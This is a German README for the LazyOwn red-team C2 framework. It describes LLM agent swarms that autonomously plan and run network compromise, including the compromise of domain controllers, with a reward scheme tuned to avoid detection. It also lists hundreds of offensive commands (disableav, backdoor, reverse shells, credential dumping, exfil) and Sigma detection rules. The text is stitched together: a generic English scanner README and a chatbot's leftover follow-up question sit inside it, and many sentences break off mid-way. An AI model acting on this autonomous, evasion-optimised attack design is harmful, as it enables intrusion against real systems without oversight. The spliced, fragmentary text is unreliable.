Der Bot verwendet dieselbe PTY-basierte Befehlsausführung wie der MCP-Server (`skills/lazyown_mcp.py`), sodass jeder LazyOwn-Befehl, Alias und jedes Addon ohne direkte Python-Imports funktioniert. Autonome Aufgaben (`/agent`, `/delegate`) starten Groq- oder Ollama-Agenten über die LazyOwn-Shell, und C2-Befehle (`/c2`, `/clients`) verwenden die authentifizierten Endpunkte `/api/command` und `/get_connected_clients`.
---
## Fortgeschrittene KI-Architektur (MoE + RL + SWAN + Hive Mind)
LazyOwn integriert einen erstklassigen Multi-Agenten-KI-Stack, der sich durch jedes Engagement anpasst und verbessert:
### Mixture of Experts (MoE) — `modules/moe_router.py`
Fünf LLM-Experten sind mit Fähigkeits-Tags, Basisgewichten und Kostenstufen registriert:
| Experte | Backend | Stärken |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Recon, Enumeration, schnelle Entscheidungen |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Exploitation, Post-Ex, komplexe Schlussfolgerungen |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Privilegieneskalation, schrittweises Schlussfolgern |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Offline, datenschutzsicher, detaillierte Analyse |
| `groq_gemma` | Groq gemma2-9b-it | Laterale Bewegung, Credential-Analyse |
Das Routing verwendet temperatur-skalierte Softmax (`T = max(0.5, 1.5/(1+calls/50))`) über angepasste Gewichte. Die Gewichte passen sich selbst über einen exponentiellen gleitenden Durchschnitt der Belohnung pro Experte im Zeitverlauf an.
### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`
Tabellarisches Q-Learning trainiert die Routing-Richtlinie über Engagement-Sessions:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Hyperparameter: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-Greedy-Exploration zerfällt pro Update. Q-Werte werden sitzungsübergreifend in sessions/expert_qvalues.json persistiert.
skills/swan_agent.pyDie Top-Level-Integrationsschicht verbindet MoE + RL + Detection Oracle + Hive Memory:
swan_run: Einzelexperten-Ausführung mit RL-gesteuertem Routing und Q-Update nach der Ausführungswan_ensemble: N Experten parallel via ThreadPoolExecutor, synthetisiert durch WeightedTextAggregatorOutcomeEvaluator: Reward = 0, wenn Erkennungswahrscheinlichkeit ≥ 70% (erkennungsbewusste Reward-Gestaltung)modules/detection_oracle.pySagt die Erkennungswahrscheinlichkeit vor der Ausführung voraus, unter Verwendung von 17 Sigma-lite-Regeln, die Folgendes abdecken: Credential Access (LSASS, SAM, DCSync), Lateral Movement (PsExec, WMI, evil-winrm), Privilege Escalation (Token-Impersonation, Named Pipes), Exploitation, Recon, C2 und Brute Force.
Wahrscheinlichkeitsaggregation: P(detect) = 1 - ∏(1 - P_i) über alle ausgelösten Regeln.
modules/auto_purple.pyAutomatisierte Red-vs-Blue-Messschleife, die offensive Aktionen ausführt, LazyOwnBT auf Erkennung abfragt und Ergebnisse zur Kalibrierung an das Detection Oracle zurückmeldet.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**Erkennungsmethoden:**
| Methode | Was sie prüft |
|--------|----------------|
| `ai_test` | LazyOwnBT ML-Modellvorhersage |
| `proc_scan` | Verdächtige Prozessnamen |
| `net_scan` | Ungewöhnliche Verbindungen/Ports |
| `log_analyze` | Auth-/Syslog-Anomalien |
| `fim_scan` | Änderungen der Dateiintegrität |
| `redteam_hunt` | Threat-Hunting-Muster |
| `sigma_rules` | 10 Sigma-Regeln (mimikatz, Reverse Shell, Privesc, nmap, Webshell, /etc/shadow, Cron, SMB, Exfil, Injection) |
**Sigma-Regeln-Erkennungsengine** (LazyOwnBT `lazyownbt/detection.py`):
| ID | Regel | Stufe |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |
**Ausgabedateien:**
- `sessions/purple_dataset.csv` — ML-Trainingsdatensatz
- `sessions/purple_audit.jsonl` — vollständiges Audit-Log
- `sessions/detection_feedback.jsonl` — Oracle-Kalibrierung
**Hinweis:** Für den Produktiveinsatz mit einem echten SIEM (Wazuh, Elastic SIEM, Splunk) über auditd-Log-Weiterleitung integrieren. Die integrierten Sigma-Regeln sind nur für Offline-Tests gedacht.
### Hive Mind — `skills/hive_mind.py`
Multi-Agenten-Architektur mit Königin+Drohnen und gemeinsamem Speicher:
- **QueenBrain** (Claude): High-Level-Orchestrierung + ConsensusProtocol für risikoreiche Aktionen
- **DronePool** (Groq/Ollama): Parallele Ausführung von Recon-/Exploit-/Cred-/Lateral-/Privesc-Aufgaben
- **HiveMemory**: ChromaDB semantisch + SQLite episodisch + Parquet Langzeitspeicher
- **EpisodeReflectionEngine**: Extraktion von Lektionen nach der Kampagne, gespeichert als `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**Das erste C2-Framework, das autonom plant, ausführt und lernt.**
ACI überbrückt die Lücke zwischen einem Engagement-Ziel in natürlicher Sprache und einer vollständig
autonomen Ausführungsschleife. Kein Konkurrent (Cobalt Strike, Sliver, Havoc,
Metasploit) macht dies End-to-End:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Drei MCP-Tools:
| Tool | Was es tut |
|---|---|
lazyown_aci_plan | Zerlegt ein Ziel → ATT&CK-Plan → injiziert Objectives |
lazyown_aci_status | Live-Phasenaufschlüsselung, Abschluss-%, Replan-Empfehlung |
lazyown_aci_replan | Erzwingt adaptiven Replan bei Stillstand; generiert automatisch Lessons |
Schnellstart:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**Was ACI im Vergleich zu anderen Tools einzigartig macht:**
- Cobalt Strike / Sliver / Havoc sind C2-Frameworks — der Operator plant jeden Schritt
- Metasploit hat Automatisierung, aber keine Intelligenz
- CALDERA emuliert feste ATT&CK-Prozeduren, kann sich aber nicht an neuartige Umgebungen anpassen
- **ACI plant, führt aus, plant neu und lernt — kontinuierlich, über Engagements hinweg**
**Persistenz:**
| Datei | Inhalt |
|------|----------|
| `sessions/aci_plan.json` | Aktiver Plan: Phasen, Ziele, Abschlussstatus |
| `sessions/aci_history.jsonl` | Archivierte abgeschlossene/aufgegebene Pläne |
| `sessions/campaign_lessons.jsonl` | Von ACIReflector extrahierte Lektionen |
**CLI-Nutzung (Standalone):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyVier asyncio-Rollen in einem einzigen Prozess — kein Claude zwischen den Schritten erforderlich:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
SWAN im Daemon aktivieren: `export AUTO_USE_SWAN=1` vor dem Start.
ACI speist in den Daemon ein: Ziele, die von `lazyown_aci_plan` injiziert werden, werden
automatisch von Rolle 1 (ObjectiveLoop) aufgegriffen — keine zusätzliche Konfiguration erforderlich.
### Graph-basiertes Reasoning — `modules/world_model.py`
NetworkGraph verfolgt alle entdeckten Beziehungen (Hosts, Dienste, Credentials, Trust-Pfade) und berechnet normalisierte Degree-Zentralität, um Pivot-Kandidaten hervorzuheben. Die Top-3-Kandidaten werden in jeden `to_context_string()`-Aufruf injiziert, wodurch die autonome Schleife stets die wertvollsten Lateral-Movement-Ziele kennt.
## Authorization Scope Guard
Ein Red-Team-Framework, das sein Ziel aus `payload.json` liest, hat eine scharfe Kante:
Ein verirrtes `rhost` feuert offensive Befehle auf einen nicht autorisierten Host ab. Der Scope Guard
ist das Sicherheitsnetz. Jeder interaktive Befehl fließt durch einen einzigen Engpass,
der das aktive Ziel gegen Ihren autorisierten Engagement-Scope prüft, bevor der
Befehl ausgeführt wird.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off ist,
sodass bestehende Kampagnen unberührt bleiben, bis Sie sich anmelden. Jeder interne Fehler
erlaubt den Befehl, anstatt den Operator zu blockieren.warn kennzeichnet offensive Befehle außerhalb des Scopes; enforce blockiert sie
bis zur ausdrücklichen Bestätigung (und verweigert in nicht-interaktiven Sitzungen).do_*-Befehle werden automatisch klassifiziert.payload.json (scope, scope_enforcement); reine Logik lebt in
cli/scope_guard.py mit null Kopplung an die Shell.Abhängigkeiten werden einmalig in pyproject.toml deklariert (Single Source of Truth) und
für reproduzierbare Installationen gepinnt:
requirements.txt — plattformübergreifender Core-Lock (keine CUDA-Wheels).requirements-ml.txt — optionaler, schwerer ML-Stack (torch/CUDA, scikit-learn).install.sh läuft im Strict-Mode und ist idempotent. Die Standardinstallation
ist leichtgewichtig; Extras können mit --with-ml (2 GB ML-Stack), --with-ollama
(lokale LLM-Runtime) und --with-tools (gängige externe Binaries) aktiviert werden.pip install -e .[ml,dev].Ctrl+K), inline reaktive Hinweise nach jedem Befehl und ein Textual-TUI-Dashboard.yara_marketplace (10 integrierte Regeln: Ransomware, C2, Webshells, Obfuskation, Privesc), nuclei_marketplace (500+ Templates), marketplace für Community-Plugins/Addons — alle über curses-TUI durchsuchbar.auto_pwn durchläuft Kill-Chain-Phasen automatisch, hunt führt gezielte Discovery basierend auf bekannten TTPs aus.auto_crypto verschlüsselt sensible Sitzungsdateien beim Beenden und entschlüsselt sie beim Start (PBKDF2HMAC + Fernet), transparent für den Operator.dlopen-Runtime. Quellkompatible datap-API mit Windows-BOF-Vertrag. Direkte Syscalls und io_uring-Unterstützung.sessions/captured_images.lazynmap-Discovery-Daten.

cron-Befehl, um Aufgaben zu planen und zu automatisieren, was persistente Bedrohungssimulationen ermöglicht.

/addons-Seiten im C2-Dashboard zum Erstellen von lazyaddons/*.yaml-Integrationen, ohne YAML von Hand anzufassen. Ein Formular zeigt jede Addon-Option (Name, Beschreibung, Autor, Version, aktiviert, Ziel-OS, Trigger-Dienste, Kategorie, Modultyp, Installationstyp, Parameter, Tool-Block, C2-Extras, Umgebungsvariablen) mit Tooltips, Platzhaltern und feldbezogener Hilfe. Platzhalter-Chips ({rhost}, {url}, deklarierte Parameter und jeder payload.json-Schlüssel) können per Drag-and-Drop in Befehlseingabefelder gezogen werden. Serverseitige Validierung lehnt unsichere Namen, Path Traversal, unbekannte Platzhalter und fehlerhafte URLs ab, bevor die Datei geschrieben wird; Schreibvorgänge sind atomar und sicher (temporäre Datei mit restriktiven Berechtigungen via mkstemp + fchmod erstellt, geflusht und fsynced, dann mit os.replace befördert). Die Listen- und YAML-Vorschauseiten vervollständigen den Lebenszyklus. Jede mutierende Route ist CSRF-geschützt. Vertrag: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, abgedeckt durch tests/test_addon_creator.py und das tests/run_mutation_addon_creator.py-Mutation-Gate..pdfx), und bettet benutzerdefinierte Icons über rsrc für überzeugendes Social Engineering ein.
modules/killchain.py berechnet die Phase; jede Oberfläche (CLI /killchain,
/api/killchain, C2 /api/data+/api/dashboard, GUI2-Panel) rendert ihren
snapshot()./api/beacon_results/<client_id>,
gestützt auf modules/beacon_history.py (JSONL, pfadsicher)./killchain auto on|off|N Live-Auto-Refresh; Flags
killchain_auto_every / killchain_auto_on_phase_change.Durchsuchen, suchen und installieren Sie aus einer einheitlichen Marketplace-TUI:
yara_marketplace list|search|install|info -- 10 integrierte Regeln (Ransomware, C2, Webshells, Obfuskation, Privesc)nuclei_marketplace list|search|install|info -- 500+ Templates aus ~/nuclei-templatesmarketplace list|search|install|update -- 137 YAML-Addons, 57 Plugins, 69 Toolsauto_pwn -- autonomer Kill-Chain-Durchlauf von Recon bis Exploitationhunt -- bedrohungsinformierte Recon: mappt bekannte TTPs auf entdeckte DiensteTransparente Sitzungsverschlüsselung beim Beenden / Entschlüsselung beim Start via PBKDF2HMAC + Fernet.
7 APT-Profile: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.
chainmode on startet einen world-model-getriebenen Verkettungsfluss: Nach jedem Befehl
bietet die Shell rangierte nächste Schritte an (Enter = Top-Vorschlag, 1..N = rangierte
Alternative, beliebiger Befehl = Override, skip = manuell, ESC/Ctrl+C/off =
verlassen). Ungültige Auswahlen werden erneut abgefragt, anstatt stillschweigend übersprungen, und der Fluss
pausiert automatisch nach max_steps verketteten Befehlen. Der Zustand bleibt in
sessions/chain_mode.json erhalten (atomare Schreibvorgänge). Vertrag: cli/chain_mode.py +
cli/command_chain.py.
[0, 99], niemals eine unehrliche 100%), Grund und Provenienz. Vertrag:
cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py ist die Single Source of Truth für die nicht-ausführbaren
Verb-Listen, die von Hinweisen, Tips und Chain-Modus gemeinsam genutzt werden.core/api_authz.py implementiert nun das dokumentierte
Rotations-Grace-Window, kopiert Berechtigungen vom rotierten Schlüssel (Regression
behoben), gibt JSON 401/403 zurück (sicher mit TRAP_HTTP_EXCEPTIONS), und der
C2 /api/health/tenant-Endpunkt wird tatsächlich durchgesetzt. Mutation-Gate:
tests/run_mutation_api_authz.py (7/7 getötet).core/logging.py install_json_handler bewahrt bestehende Handler
und ist idempotent.Zentralisierte Sicherheitsprimitive in core/hardening.py mit 48 BDD-Style-Tests
(tests/test_security_hardening_v3.py). Ausführen mit:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**Angewandte wichtige Korrekturen:**
- `shell=True` entfernt aus `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 Instanzen)
- `os.system()` entfernt aus `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 Instanzen), `misc_migrated.py`
- `os.popen()` entfernt aus `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` ersetzt durch `sshpass -e` + Umgebungsvariable über 4 Dateien (C2, lateral, exfil, persist)
- Fest codierter Verschlüsselungsschlüssel entfernt aus `phishing_orchestrator.py` (ENCRYPTION_KEY obligatorisch)
- XSS im C2-Banner behoben mit `html.escape()`
- Befehlsinjektion über rhost in der Zwischenablage behoben mit `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` umbenannt in `COMMAND_ATTR_HELP_CATEGORY` (cmd2 4.2.2-Kompatibilität)
---
## Befehlsfähigkeiten
LazyOwn bietet 741 Befehle über 13 Kill-Chain-Phasen, verfügbar sowohl über CLI als auch über das Web-C2-Dashboard:
| Phase | Hervorzuhebende Befehle |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistenz | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |
Kernverwaltung: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.
Siehe [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) für die vollständige 606-Befehlsreferenz und [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) für die 18 Befehle, die 80 % der Engagements abdecken.
# Erweitern von LazyOwnShell mit Lua-Plugins
Dieses Dokument erklärt, wie man Lua-Skripting verwendet, um die Funktionalität der `LazyOwnShell`-Anwendung zu erweitern, die auf dem `cmd2`-Framework in Python aufbaut. Lua ermöglicht es Ihnen, benutzerdefinierte Plugins zu schreiben, die neue Befehle hinzufügen, bestehendes Verhalten ändern oder auf Anwendungsdaten zugreifen können.

---
## Inhaltsverzeichnis
1. [Einführung](#einführung)
2. [Einrichten von Lua-Plugins](#einrichten-von-lua-plugins)
3. [Schreiben von Lua-Plugins](#schreiben-von-lua-plugins)
4. [Registrieren neuer Befehle](#registrieren-neuer-befehle)
5. [Zugriff auf Anwendungsdaten](#zugriff-auf-anwendungsdaten)
6. [Fehlerbehandlung](#fehlerbehandlung)
7. [Beispiel-Plugins](#beispiel-plugins)
8. [Best Practices](#best-practices)
---
## 1. Einführung
Die `LazyOwnShell`-Anwendung unterstützt Lua-Skripting, damit Benutzer ihre Funktionalität erweitern können, ohne den Python-Kerncode zu ändern. Lua-Skripte (Plugins) werden im Verzeichnis `plugins/` gespeichert und beim Start der Anwendung automatisch geladen.
Lua-Plugins können:
- Neue Befehle zur Shell hinzufügen.
- Bestehende Befehle oder Verhaltensweisen ändern.
- Auf Anwendungsdaten zugreifen und diese manipulieren, die von Python bereitgestellt werden.
---
## 2. Einrichten von Lua-Plugins
Um Lua-Plugins zu verwenden, stellen Sie Folgendes sicher:
1. Installieren Sie die `lupa`-Bibliothek in Ihrer Python-Umgebung: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
Wenn die Anwendung startet, führt sie init_plugins.lua aus, wodurch alle anderen .lua-Dateien im Verzeichnis plugins/ geladen werden.
Struktur eines Lua-Plugins ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
Schlüsselfunktionen
- register_command(command_name, lua_function):
- Registriert einen neuen Befehl in der Shell.
- command_name: Der Name des Befehls (z. B. hello).
- lua_function: Die Lua-Funktion, die ausgeführt wird, wenn der Befehl aufgerufen wird.
3. Neue Befehle registrieren
Um einen neuen Befehl zur Shell hinzuzufügen, befolgen Sie diese Schritte:
- Definieren Sie eine Lua-Funktion, die die Befehlslogik implementiert.
- Verwenden Sie register_command, um die Funktion als Befehl zu registrieren.
- Beispiel: Hinzufügen eines hello-Befehls
- Erstellen Sie eine Datei plugins/hello.lua mit folgendem Inhalt: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
Jetzt können Sie den Befehl hello in der Shell ausführen:
bash hello Lua Hello, Lua!
4. Bewährte Methoden
Durch die Nutzung von Lua-Skripting können Sie die Funktionalität von LazyOwnShell erweitern, ohne den Python-Kerncode zu ändern. Dies ermöglicht größere Flexibilität und Anpassungsfähigkeit, sodass Benutzer ihre eigenen Plugins schreiben können, um spezifische Anforderungen zu erfüllen. Viel Spaß beim Programmieren!
Die Erweiterung der Fähigkeiten des LazyOwn RedTeam Frameworks war noch nie so einfach, selbst für Nicht-Programmierer, dank des LazyAddons-Systems, das die Erweiterung von Funktionalitäten mithilfe von YAML-Dateien ermöglicht.
Deklarative Befehlserstellung durch YAML-Konfigurationsdateien.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
Erweiterte Konfiguration```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Features Automatische Installation Tools werden bei Fehlen aus Git geklont:```bash git clone <repo_url> <install_path>
Parameter Substitution
Ersetzt {param} in Befehlen durch Werte aus:
- Befehlsargumenten
- Standardwerten
- self.params
- Hilfe-Integration
help <command> zeigt die YAML-Beschreibung an.
Vorlage```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ Verwendung Legen Sie YAML-Dateien in lazyaddons/ ab
Starten Sie Ihre CLI-Anwendung
Führen Sie registrierte Befehle aus:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 Fehlerbehebung
Fehlende Parameter: Überprüfen Sie die erforderlichen Felder in YAML
Installationsfehler: Überprüfen Sie den Netzwerk-/Git-Zugriff
Befehlsfehler: Validieren Sie die execute_command-Syntax
Hauptmerkmale:
- Sauberes GitHub-flavored Markdown
- Fokussiert ausschließlich auf YAML-Addons
- Enthält gebrauchsfertige Vorlagen
- Dokumentiert das Parameter-Ersetzungssystem
- Bietet Tipps zur Fehlerbehebung
Möchten Sie, dass ich bestimmte Beispiele oder Anwendungsszenarien hinzufüge?

LazyOwn auf Reddit
Revolutionieren Sie Ihr Pentesting mit LazyOwn: Automatisieren Sie die Intrusion auf Linux-, MAC OSX- und Windows-OPFERN
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Entdecken Sie LazyOwn, die ultimative Lösung zur Automatisierung des Pentesting-Workflows für Angriffe auf Linux-, MacOSX- und Windows-Systeme. Unser leistungsstarkes Tool vereinfacht das Pentesting und macht es effizienter und effektiver. Sehen Sie sich dieses Video an, um zu erfahren, wie LazyOwn Ihre Sicherheitsbewertungen optimieren und Ihr Cybersicherheits-Toolkit erweitern kann.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn ist ideal für Cybersicherheitsexperten, die eine zentralisierte und automatisierte Lösung für ihre Pentesting-Anforderungen suchen, um Zeit zu sparen und die Effizienz bei der Identifizierung und Ausnutzung von Schwachstellen zu erhöhen.

Python 3.x
Python-Module:
subprocess (in der Python-Standardbibliothek enthalten)
platform (in der Python-Standardbibliothek enthalten)
tkinter (Optional für die GUI)
numpy (Optional für die GUI)
2. Installiere die Python-Abhängigkeiten:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | Authentication token |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose logging |
| `-q` | `--quiet` | Suppress non-essential output |
| `-h` | `--help` | Show help message |
### Examples
```bash
# Basic scan
scanner scan --target example.com
# Scan with custom output
scanner scan --target example.com --output results.json --format json
# Authenticated scan
scanner scan --target example.com --token $API_TOKEN
The tool reads configuration from ~/.scanner/config.yaml:
server:
url: http://localhost:8080
timeout: 30s
auth:
token: ${SCANNER_TOKEN}
output:
format: json
verbose: false
Connection refused
Ensure the server is running:
scanner server start
Authentication failed
Verify your token is valid:
scanner auth verify --token $API_TOKEN
Permission denied
Run with appropriate privileges or check file permissions:
chmod +x ./scanner
We welcome contributions! Please follow these steps:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)This project is licensed under the MIT License - see the LICENSE file for details.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules. assign : Sets the value of a parameter. For example, assign rhost 192.168.1.1. show: Displays the current values of all parameters. run
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $ help
Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
Privilege Escalation ──────────────────────── responder smbserver
Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
Reporting
─────────────
apropos createtargets gpt process_scans
